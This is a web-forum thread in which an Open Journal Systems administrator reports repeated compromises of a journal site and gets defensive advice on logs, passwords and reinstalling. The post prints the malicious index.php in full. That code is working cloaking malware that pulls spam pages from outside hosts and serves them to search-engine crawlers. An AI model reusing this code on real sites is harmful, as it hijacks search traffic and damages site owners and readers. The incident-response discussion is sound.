Another security breach with OJS 3.3.0-22

Hello All,

Yesterday our OJS 3.3.0-22 was transferred to a new server due to security issues like this:

Happening again even after upgrading from 3.3.0-14 to 3.3.0-22. I suspected the problem might be due to some security flaw related to PHP 7.4 or Apache.

The old server was running Ubuntu Ubuntu 18.04.6 LTS, PHP 7.4.33, Apache 2.4.29 and MySQL 5.7.44.

The new one has Ubuntu 24.04.4 LTS, PHP 8.3.6, Apache 2.4.58 and MariaDB 10.11.14. SSL login using public/private key only.

And today I discovered it happened again in the new server. For some reason, the index.php changed from the default to this:

<?php

$botTargets = [
    '/index.php/motriz' => 'https://masa-iya.footer-tpl.online/periodicos-motriz/',
    '/index.php/educacao/article/view/17323/12836' => 'https://masa-iya.footer-tpl.online/educacao-article-view-17323-12836/',
    '/index.php/geociencias/article/view/18764' => 'https://masa-iya.footer-tpl.online/geociencias-article-view-18764/',    
    '/index.php/pesquisa/article/view/18342' => 'https://masa-iya.footer-tpl.online/pesquisa-article-view-18342/',
    '/index.php/naturalia' => 'https://masa-iya.footer-tpl.online/periodicos-naturalia/',
    '/index.php/pesquisa/about' => 'https://masa-iya.footer-tpl.online/biblioteca-unesp-pesquisa-about/',
    '/index.php/geociencias' => 'https://masa-iya.footer-tpl.online/kok-bisa/periodicos-rc-biblioteca-geociencias.html',
    '/index.php/pesquisa/article/view/16904' => 'https://masa-iya.footer-tpl.online/biblioteca-unesp-16904/',
    '/index.php/ageteo/about' => 'https://masa-iya.footer-tpl.online/ageteo-about/',
    '/index.php/educacao' => 'https://silentisyork.com/lppenuh/biblioteca-unesp-educacao/',
    '/index.php/estgeo/article/view/17604/12978' => 'https:///masa-iya.footer-tpl.online/logintoto-periodicos-rc-biblioteca-unesp-br/',
    '/index.php/bolema/article/view/6527/6091' => 'https://masa-iya.footer-tpl.online/bolema-6091/',
    '/index.php/motriz/article/view/18486' => 'https://masa-iya.footer-tpl.online/motriz-article-view-18486/',    
];

$req = strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?');

$req = rtrim($req, '/');

$ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');

$isLogged = !empty($_COOKIE['OMPSID']) || !empty($_COOKIE['OJSSID']) || !empty($_COOKIE['OJSESS']);

$botAgents = ['googlebot','google-inspectiontool','bingbot','slurp','yandex','duckduckbot','baiduspider'];
$isBot = false;
foreach ($botAgents as $agent) {
    if (strpos($ua, $agent) !== false) {
        $isBot = true;
        break;
    }
}

$externalUrl = isset($botTargets[$req]) ? $botTargets[$req] : null;

if ($externalUrl && $isBot && !$isLogged && extension_loaded('curl')) {

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $externalUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["User-Agent: Googlebot/2.1"]);

    $html = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if (!empty($html) && $http_code == 200) {
        header("Content-Type: text/html; charset=utf-8");
        echo $html;
        exit;
    }
}

// Initialize global environment
define('INDEX_FILE_LOCATION', __FILE__);
$application = require('./lib/pkp/includes/bootstrap.inc.php');

// Serve the request
$application->execute();

?>

Does anyone know what this is? How can an user change this file?

Regards,

Oberdan

And, when trying to open the admin plugins page, the messages in error_log are the following:

[Thu Mar 12 15:49:31.108981 2026] [php:warn] [pid 350792] [client 186.217.13.68:62158]
PHP Warning: require_once(/home/ojs/rc-3.3.0-22/lib/pkp/plugins/importexport/userss/PKPUserImportExportDeployment.inc.php):
Failed to open stream: No such file or directory in /home/ojs/rc-3.3.0-22/lib/pkp/includes/functions.inc.php on line 25,
referer: ``https://www.periodicos.rc.biblioteca.unesp.br/index.php/index/admin/settings
[Thu Mar 12 15:49:31.108981 2026] [php:warn] [pid 350792] [client 186.217.13.68:62158]
PHP Warning: require_once(/home/ojs/rc-3.3.0-22/lib/pkp/plugins/importexport/userss/PKPUserImportExportDeployment.inc.php):
Failed to open stream: No such file or directory in /home/ojs/rc-3.3.0-22/lib/pkp/includes/functions.inc.php on line 25,
referer: ``https://www.periodicos.rc.biblioteca.unesp.br/index.php/index/admin/settings

and

[Thu Mar 12 15:49:31.109088 2026] [php:error] [pid 350792] [client 186.217.13.68:62158]
PHP Fatal error: Uncaught Error: Failed opening required ‘/home/ojs/rc-3.3.0-22/lib/pkp/plugins/importexport/userss/PKPUserImportExportDeployment.inc.php’ (include_path=‘.:/usr/share/php’) in /home/ojs/rc-3.3.0-22/lib/pkp/includes/functions.inc.php:25
Stack trace:
#0 /home/ojs/rc-3.3.0-22/lib/pkp/plugins/importexport/users/PKPUserImportExportPlugin.inc.php(26): import()
#1 /home/ojs/rc-3.3.0-22/plugins/importexport/userss/UserImportExportPlugin.inc.php(24): PKPUserImportExportPlugin->register()
#2 /home/ojs/rc-3.3.0-22/lib/pkp/classes/plugins/PluginRegistry.inc.php(69): UserImportExportPlugin->register()
#3 /home/ojs/rc-3.3.0-22/lib/pkp/classes/plugins/PluginRegistry.inc.php(142): PluginRegistry::register()
#4 /home/ojs/rc-3.3.0-22/lib/pkp/classes/controllers/grid/plugins/PluginGridHandler.inc.php(155): PluginRegistry::loadCategory()
#5 /home/ojs/rc-3.3.0-22/lib/pkp/classes/controllers/grid/CategoryGridHandler.inc.php(124): PluginGridHandler->loadCategoryData()
#6 /home/ojs/rc-3.3.0-22/lib/pkp/classes/controllers/grid/CategoryGridHandler.inc.php(473): CategoryGridHandler->getGridCategoryDataElements()
#7 /home/ojs/rc-3.3.0-22/lib/pkp/classes/controllers/grid/CategoryGridHandler.inc.php(453): CategoryGridHandler->_renderCategoryInternally()
#8 /home/ojs/rc-3.3.0-22/lib/pkp/classes/controllers/grid/CategoryGridHandler.inc.php(276): CategoryGridHandler->_renderCategoriesInternally()
#9 /home/ojs/rc-3.3.0-22/lib/pkp/classes/controllers/grid/GridHandler.inc.php(643): CategoryGridHandler->doSpecificFetchGridActions()
#10 /home/ojs/rc-3.3.0-22/lib/pkp/classes/core/PKPRouter.inc.php(397): GridHandler->fetchGrid()
#11 /home/ojs/rc-3.3.0-22/lib/pkp/classes/core/PKPComponentRouter.inc.php(257): PKPRouter->_authorizeInitializeAndCallRequest()
#12 /home/ojs/rc-3.3.0-22/lib/pkp/classes/core/Dispatcher.inc.php(144): PKPComponentRouter->route()
#13 /home/ojs/rc-3.3.0-22/lib/pkp/classes/core/PKPApplication.inc.php(360): Dispatcher->dispatch()
#14 /home/ojs/rc-3.3.0-22/index.php(68): PKPApplication->execute()
#15 {main}\n thrown in /home/ojs/rc-3.3.0-22/lib/pkp/includes/functions.inc.php on line 25, referer: ``https://www.periodicos.rc.biblioteca.unesp.br/index.php/index/admin/settings

I surely can unpack a fresh OJS 3.3.0-22 source code to get rid of this, but the problem keeps happening even if I change the code. Any ideas?

Regards,

Oberdan

Did you changed passwords for all privileged users with roles like Journal Manager and above? Did the plugins were updated as well?

JM can execute plugins functions and outdates plugins could have security flaws. Or admin users can upload new plugin into OJS.

The most common vector for attacks seems to be privileged accounts with compromised credentials

Hello @rslonik ,

The plugins are up to date, but I’ll check them again. I don’t deal directly with the managers, but will find a way to contact them and ask to change passwords. We are already planning a major cleanup of old user records. Thanks for your help.

Regards,

Oberdan

Hi @Oberdan,

The lib/pkp/plugins/importexport/userss path is not part of OJS, and is probably part of the mechanism for breaking in. I’d suggest checking the creation date for this directory and its contents, and trying to correlate that against any server events that could explain it (e.g. something from the same moment in the access log).

If this directory came across from your older OJS version, then double-check your method for upgrading; you shouldn’t be bringing parts of the old codebase into a new installation.

Meanwhile, check the usual suspects:

  • Make sure your files_dir is outside the web root
  • Make sure any journal manager and site administrator accounts have strong passwords, and are accounted for
  • Review your journal_settings table for any unexpected javascript that may have been introduced with an XSS attack against an older version.

Regards,
Alec Smecher
Public Knowledge Project Team

1 Like

Hello @asmecher ,

The lib/pkp/plugins/importexport/userss does not exist. My files_dir is outside the web root. I’ll remove a bunch of old users this week, and revise the manager accounts. Will 'also check the journal_settings table. Thank you very much for the advice.

Regards,

Oberdan

Just to update this: looking today again I found a folder lib/pkp/plugins/importexport/userss. I’ll put the original source code again. It seems that the same attack is repeated from time to time. Let’s see if this time I can figure out where this is coming…

Hello @Oberdan

Hackers returning to your OJS and server is not uncommon. After you resolve one security issue caused by their activity, they often attempt to regain access using different methods making the situation understandably stressful.

In some cases, users do not even realize that their OJS has been compromised, as hackers may inject illegal links deep within archived published articles such as in references or use cloaking techniques. Your OJS can then be used for reconnaissance, injecting backlinks to illegal sites, and other abusive activities.

Based on our experience, here is how to completely resolve security issues in your OJS. Our certified security team focuses on identifying the root cause rather than just addressing the symptoms of a breach:

  1. Analyze your web server access logs to identify the initial entry point of the attack (you should aware the first time/date when the hacking activity occur on your OJS).

  2. Fix the vulnerability based on the root cause.

  3. Reinstall or upgrade your OJS to the latest version.

  4. Remove all unknown or suspicious users from your OJS.

  5. Reinstall your server, as hackers may place backdoors in locations such as cron jobs, /tmp, or /dev/shm/.

  6. Update all user credentials in your OJS, including Journal Manager, Super Admin, Reviewer, Copy Editor, and any roles that can modify published content.

  7. Avoid installing plugins from untrusted sources.

Tips:

  1. Always enable notifications for OJS security updates.

  2. Keep your OJS updated to the latest version within each PKP release branch.

  3. Do not host multiple platforms (e.g., WordPress and OJS) on the same server, as vulnerabilities in one can affect the other and complicate security analysis.

  4. Use security tools to monitor and prevent unauthorized activity on your OJS.

Security issues in OJS can have serious consequences, including being flagged by Google as a phishing or malicious site, disruption of editorial workflows, and potential delisting from indexing services such as Google Scholar. Therefore, it is critical to treat OJS security as a high-priority concern.

If you can recall when the incident occurred, we can assist in analyzing your access logs to identify the source of the breach.

Hendra
OJT Team

Hello @navotera ,

Well, it happened again yesterday. The index.php was changed on march 22 at 02:26. There is also another file on the OJS root, called ageteo-about.php that is not default created on march 22 at 01:51. The original source code was restored today, but I’m still not able to tell what is causing this. Any help would be greatly appreciated.

Regards,

Oberdan

Hi @Oberdan,

Did you try to correlate the file creation date and/or last modified date for files like these against the server’s access log? (Suggested above.)

Regards,
Alec Smecher
Public Knowledge Project Team

Hello Oberdan,

Thank you for your reply regarding this matter.

It appears that a new file has been created by the hacker again. The file creation date is a strong indication that the attacker still has access to your server.

You should review the web server logs around the time the file was created. Analyze them carefully, step by step, to identify any suspicious activity related to the file creation. Once you identify suspicious IP addresses, investigate further to detect any patterns or signs of backdoor access.

This process requires careful scrutiny to trace and identify the root cause of the compromise in your OJS system.

The fastest and most reliable solution is not simply deleting the malicious files, but migrating your OJS to a fresh server and upgrading it to the latest version. After migration, ensure that you remove any plugins from untrusted sources.

Since attackers often inject hidden content such as gambling links without user awareness and it has a fatal impact on journal indexing, it is important to address this issue as soon as possible.

Regards,
Hendra

Hello @asmecher and @navotera ,

I tried looking at the logs for the time the index.php file was modified, but I didn’t find anything relevant. This server was installed two months ago. The only way to log in is via SSH with private and public keys. I checked with rkhunter, chkrootkit, and lynis and they didn’t find anything, so I don’t believe the server is compromised. I understand that transferring the system to a new one would be advisable, but I need to be sure that the problem isn’t happening because of users with weak passwords in OJS, or it will happen again. Maybe I‘ll reset the passwords via SQL.

Regards,

Oberdan

Using this:

https://forum.pkp.sfu.ca/t/mass-password-reset-functionality/75238/2

Just forced anyone with roles that are not reader and reviewer to change password on the next login. Don’t know if it will solve the problem, but I think we will be able to narrow down the number of unused and potentially compromised accounts.

1 Like